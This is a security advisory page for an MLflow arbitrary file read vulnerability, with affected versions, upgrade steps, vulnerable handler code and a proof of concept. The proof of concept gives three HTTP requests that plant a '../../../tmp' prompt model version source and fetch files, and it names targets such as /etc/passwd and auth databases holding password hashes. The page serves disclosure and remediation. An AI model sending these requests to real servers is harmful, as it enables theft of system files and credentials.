high · 7.5 Patched

MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source

CVE-2026-116690 · GHSA-m65p-9j7q-6w33 · published 27 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-116690?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • mlflow (PyPI) >= 3.10.0, < 3.17.0

How to check

  1. Run pip show mlflow in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade mlflow to 3.17.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path. The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the `CreateModelVersion` handler that rejects `file://` URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as `../../etc`, a plain relative name, `.`, a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the `model-versions/get-artifact endpoint` later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the `mlflow.prompt.is_prompt` tag rather than its value, so a false value still selected the weaker branch. Servers using `--app-name basic-auth` are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash. Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by [mlflow/mlflow#25870](https://github.com/mlflow/mlflow/pull/25870), which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be `true`. ### Details When creating a model version with the `mlflow.prompt.is_prompt` tag set to true, the request is handled by the prompt branch in `_create_model_version()`. `mlflow/server/handlers.py:2674-2690`: ```python is_prompt = _is_prompt_request(request_message) if is_prompt: source = request_message.source parsed = urllib.parse.urlparse(source) if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")): raise MlflowException(...) if parsed.scheme: _validate_non_local_source_contains_relative_paths(source) else: if request_message.model_id: _validate_source_model(request_message.source, request_message.model_id) else: _validate_source_run(request_message.source, request_message.run_id) ``` The prompt branch does not call `_validate_source_run()`, `_validate_source_model()`, or `_validate_non_local_source_contains_relative_paths()` for schemeless relative paths. The artifact-read sink later trusts the stored source: `mlflow/server/handlers.py:2765-2782`: ```python def get_model_version_artifact_handler(): name = request.args.get("name") version = request.args.get("version") path = request.args["path"] path = validate_path_is_safe(path) artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version) ... else: artifact_repo = get_artifact_repository(artifact_uri) artifact_path = path return _send_artifact(artifact_repo, artifact_path) ``` `_send_artifact()` calls `artifact_repository.download_artifacts(path)` and serves the resulting local file with `send_file()`. ### PoC Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled. 1. Create a sentinel file on the server: ```bash printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt ``` 2. Send the following requests to the MLflow server to exploit the traversal: First, create a registered model: ```http POST /api/2.0/mlflow/registered-models/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json {"name": "pwned-model"} ``` Next, create a prompt-tagged model version with the malicious relative source `../../../tmp`: ```http POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json { "name": "pwned-model", "source": "../../../tmp", "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}] } ``` Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the `path` parameter: ```http GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1 Host: 127.0.0.1:5000 ``` This returns the contents of `/tmp/sentinel-mlflow.txt`. The same primitive can read sensitive files like `/etc/passwd` or tracking databases (e.g. `mlflow.db`). ### Impact Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include: - `/etc/passwd` - SQLite tracking databases readable by the process (e.g., `mlflow-auth.db` or `basic_auth.db`) - Environment variables or configurations stored on disk - `/home/user/.bash_history` Threat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON